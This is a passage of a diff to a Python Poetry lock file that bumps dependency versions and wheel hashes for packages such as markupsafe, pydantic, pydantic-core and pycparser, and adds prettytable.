"sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:eaa0a10b7f72326f1372a713e73c3f739b524b3af41feb43e4921cb529f5929a"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:48032821bbdf20f5799ff537c7ac3d1fba0ba032cfc06194faffa8cda8b560ff"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a9d3f5f0901fdec14d8d2f66ef7d035f2157240a433441719ac9a3fba440b13"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88b49a3b9ff31e19998750c38e030fc7bb937398b1f78cfa599aaef92d693144"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cfad01eed2c2e0c01fd0ecd2ef42c492f7f93902e39a42fc9ee1692961443a29"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1225beacc926f536dc82e45f8a4d68502949dc67eea90eab715dea3a21c1b5f0"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3169b1eefae027567d1ce6ee7cae382c57fe26e82775f460f0b2778beaad66c0"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:eb7972a85c54febfb25b5c4b4f3af4dcc731994c7da0d8a0b4a6eb0640e1d178"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-win32.whl", hash = "sha256:8c4e8c3ce11e1f92f6536ff07154f9d49677ebaaafc32db9db4620bc11ed480f"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:6e296a513ca3d94054c2c881cc913116e90fd030ad1c656b3869762b754f5f8a"}, - {file = "markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0"}, + {file = "markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559"}, + {file = "markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419"}, + {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695"}, + {file = "markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591"}, + {file = "markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c"}, + {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f"}, + {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6"}, + {file = "markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1"}, + {file = "markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa"}, + {file = "markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8"}, + {file = "markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1"}, + {file = "markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad"}, + {file = "markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a"}, + {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50"}, + {file = "markupsafe-3.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf"}, + {file = "markupsafe-3.0.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f"}, + {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a"}, + {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115"}, + {file = "markupsafe-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a"}, + {file = "markupsafe-3.0.3-cp311-cp311-win32.whl", hash = "sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19"}, + {file = "markupsafe-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01"}, + {file = "markupsafe-3.0.3-cp311-cp311-win_arm64.whl", hash = "sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c"}, + {file = "markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e"}, + {file = "markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce"}, + {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d"}, + {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d"}, + {file = "markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a"}, + {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b"}, + {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f"}, + {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b"}, + {file = "markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d"}, + {file = "markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c"}, + {file = "markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f"}, + {file = "markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795"}, + {file = "markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219"}, + {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6"}, + {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676"}, + {file = "markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9"}, + {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1"}, + {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc"}, + {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12"}, + {file = "markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed"}, + {file = "markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5"}, + {file = "markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485"}, + {file = "markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73"}, + {file = "markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37"}, + {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19"}, + {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025"}, + {file = "markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6"}, + {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f"}, + {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb"}, + {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009"}, + {file = "markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354"}, + {file = "markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218"}, + {file = "markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287"}, + {file = "markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe"}, + {file = "markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026"}, + {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737"}, + {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97"}, + {file = "markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d"}, + {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda"}, + {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf"}, + {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe"}, + {file = "markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9"}, + {file = "markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581"}, + {file = "markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4"}, + {file = "markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab"}, + {file = "markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175"}, + {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634"}, + {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50"}, + {file = "markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e"}, + {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5"}, + {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523"}, + {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc"}, + {file = "markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d"}, + {file = "markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9"}, + {file = "markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa"}, + {file = "markupsafe-3.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:15d939a21d546304880945ca1ecb8a039db6b4dc49b2c5a400387cdae6a62e26"}, + {file = "markupsafe-3.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f71a396b3bf33ecaa1626c255855702aca4d3d9fea5e051b41ac59a9c1c41edc"}, + {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f4b68347f8c5eab4a13419215bdfd7f8c9b19f2b25520968adfad23eb0ce60c"}, + {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e8fc20152abba6b83724d7ff268c249fa196d8259ff481f3b1476383f8f24e42"}, + {file = "markupsafe-3.0.3-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:949b8d66bc381ee8b007cd945914c721d9aba8e27f71959d750a46f7c282b20b"}, + {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3537e01efc9d4dccdf77221fb1cb3b8e1a38d5428920e0657ce299b20324d758"}, + {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:591ae9f2a647529ca990bc681daebdd52c8791ff06c2bfa05b65163e28102ef2"}, + {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:a320721ab5a1aba0a233739394eb907f8c8da5c98c9181d1161e77a0c8e36f2d"}, + {file = "markupsafe-3.0.3-cp39-cp39-win32.whl", hash = "sha256:df2449253ef108a379b8b5d6b43f4b1a8e81a061d6537becd5582fba5f9196d7"}, + {file = "markupsafe-3.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:7c3fb7d25180895632e5d3148dbdc29ea38ccb7fd210aa27acbd1201a1902c6e"}, + {file = "markupsafe-3.0.3-cp39-cp39-win_arm64.whl", hash = "sha256:38664109c14ffc9e7437e86b4dceb442b0096dfe3541d7864d9cbe1da4cf36c8"}, + {file = "markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698"}, ] [[package]] @@ -987,27 +1087,27 @@ nicer-shell = ["ipython"] [[package]] name = "packaging" -version = "25.0" +version = "26.0" description = "Core utilities for Python packages" optional = false python-versions = ">=3.8" groups = ["main", "dev"] files = [ - {file = "packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484"}, - {file = "packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f"}, + {file = "packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529"}, + {file = "packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4"}, ] [[package]] name = "pefile" -version = "2023.2.7" +version = "2024.8.26" description = "Python PE parsing module" optional = false python-versions = ">=3.6.0" groups = ["main"] markers = "sys_platform == \"win32\"" files = [ - {file = "pefile-2023.2.7-py3-none-any.whl", hash = "sha256:da185cd2af68c08a6cd4481f7325ed600a88f6a813bad9dea07ab3ef73d8d8d6"}, - {file = "pefile-2023.2.7.tar.gz", hash = "sha256:82e6114004b3d6911c77c3953e3838654b04511b8b66e8583db70c65998017dc"}, + {file = "pefile-2024.8.26-py3-none-any.whl", hash = "sha256:76f8b485dcd3b1bb8166f1128d395fa3d87af26360c2358fb75b80019b957c6f"}, + {file = "pefile-2024.8.26.tar.gz", hash = "sha256:3ff6c5d8b43e8c37bb6e6dd5085658d658a7a0bdcd20b6a07b1fcfc1c4e9d632"}, ] [[package]] @@ -1026,41 +1126,59 @@ files = [ dev = ["pre-commit", "tox"] testing = ["coverage", "pytest", "pytest-benchmark"] +[[package]] +name = "prettytable" +version = "3.17.0" +description = "A simple Python library for easily displaying tabular data in a visually appealing ASCII table format" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "prettytable-3.17.0-py3-none-any.whl", hash = "sha256:aad69b294ddbe3e1f95ef8886a060ed1666a0b83018bbf56295f6f226c43d287"}, + {file = "prettytable-3.17.0.tar.gz", hash = "sha256:59f2590776527f3c9e8cf9fe7b66dd215837cca96a9c39567414cbc632e8ddb0"}, +] + +[package.dependencies] +wcwidth = "*" + +[package.extras] +tests = ["pytest", "pytest-cov", "pytest-lazy-fixtures"] + [[package]] name = "pyasn1" -version = "0.6.1" +version = "0.6.2" description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)" optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "pyasn1-0.6.1-py3-none-any.whl", hash = "sha256:0d632f46f2ba09143da3a8afe9e33fb6f92fa2320ab7e886e2d0f7672af84629"}, - {file = "pyasn1-0.6.1.tar.gz", hash = "sha256:6f580d2bdd84365380830acf45550f2511469f673cb4a5ae3857a3170128b034"}, + {file = "pyasn1-0.6.2-py3-none-any.whl", hash = "sha256:1eb26d860996a18e9b6ed05e7aae0e9fc21619fcee6af91cca9bad4fbea224bf"}, + {file = "pyasn1-0.6.2.tar.gz", hash = "sha256:9b59a2b25ba7e4f8197db7686c09fb33e658b98339fadb826e9512629017833b"}, ] [[package]] name = "pyasyncore" -version = "1.0.4" +version = "1.0.5" description = "Make asyncore available for Python 3.12 onwards" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "pyasyncore-1.0.4-py3-none-any.whl", hash = "sha256:9e5f6dc9dc057c56370b7a5cdb4c4670fd4b0556de2913ed1f428cd6a5366895"}, - {file = "pyasyncore-1.0.4.tar.gz", hash = "sha256:2c7a8b9b750ba6260f1e5a061456d61320a80579c6a43d42183417da89c7d5d6"}, + {file = "pyasyncore-1.0.5-py3-none-any.whl", hash = "sha256:269bbc5252671827387636822841a1fb721ec6e858b23a3e12cf92eb1f97da2a"}, + {file = "pyasyncore-1.0.5.tar.gz", hash = "sha256:dd483d5103a6d59b66b86e0ca2334ad43dca732ff23a0ac5d63c88c52510542e"}, ] [[package]] name = "pycparser" -version = "2.22" +version = "3.0" description = "C parser in Python" optional = false -python-versions = ">=3.8" +python-versions = ">=3.10" groups = ["main"] markers = "platform_python_implementation != \"PyPy\" and implementation_name != \"PyPy\"" files = [ - {file = "pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc"}, - {file = "pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6"}, + {file = "pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992"}, + {file = "pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29"}, ] [[package]] @@ -1116,148 +1234,170 @@ files = [ [[package]] name = "pydantic" -version = "2.11.7" +version = "2.12.5" description = "Data validation using Python type hints" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "pydantic-2.11.7-py3-none-any.whl", hash = "sha256:dde5df002701f6de26248661f6835bbe296a47bf73990135c7d07ce741b9623b"}, - {file = "pydantic-2.11.7.tar.gz", hash = "sha256:d989c3c6cb79469287b1569f7447a17848c998458d49ebe294e975b9baf0f0db"}, + {file = "pydantic-2.12.5-py3-none-any.whl", hash = "sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d"}, + {file = "pydantic-2.12.5.tar.gz", hash = "sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49"}, ] [package.dependencies] annotated-types = ">=0.6.0" -pydantic-core = "2.33.2" -typing-extensions = ">=4.12.2" -typing-inspection = ">=0.4.0" +pydantic-core = "2.41.5" +typing-extensions = ">=4.14.1" +typing-inspection = ">=0.4.2" [package.extras] email = ["email-validator (>=2.0.0)"] -timezone = ["tzdata ; python_version >= \"3.9\" and platform_system == \"Windows\""] +timezone = ["tzdata"] [[package]] name = "pydantic-core" -version = "2.33.2" +version = "2.41.5" description = "Core functionality for Pydantic validation and serialization" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "pydantic_core-2.33.2-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:2b3d326aaef0c0399d9afffeb6367d5e26ddc24d351dbc9c636840ac355dc5d8"}, - {file = "pydantic_core-2.33.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0e5b2671f05ba48b94cb90ce55d8bdcaaedb8ba00cc5359f6810fc918713983d"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0069c9acc3f3981b9ff4cdfaf088e98d83440a4c7ea1bc07460af3d4dc22e72d"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = 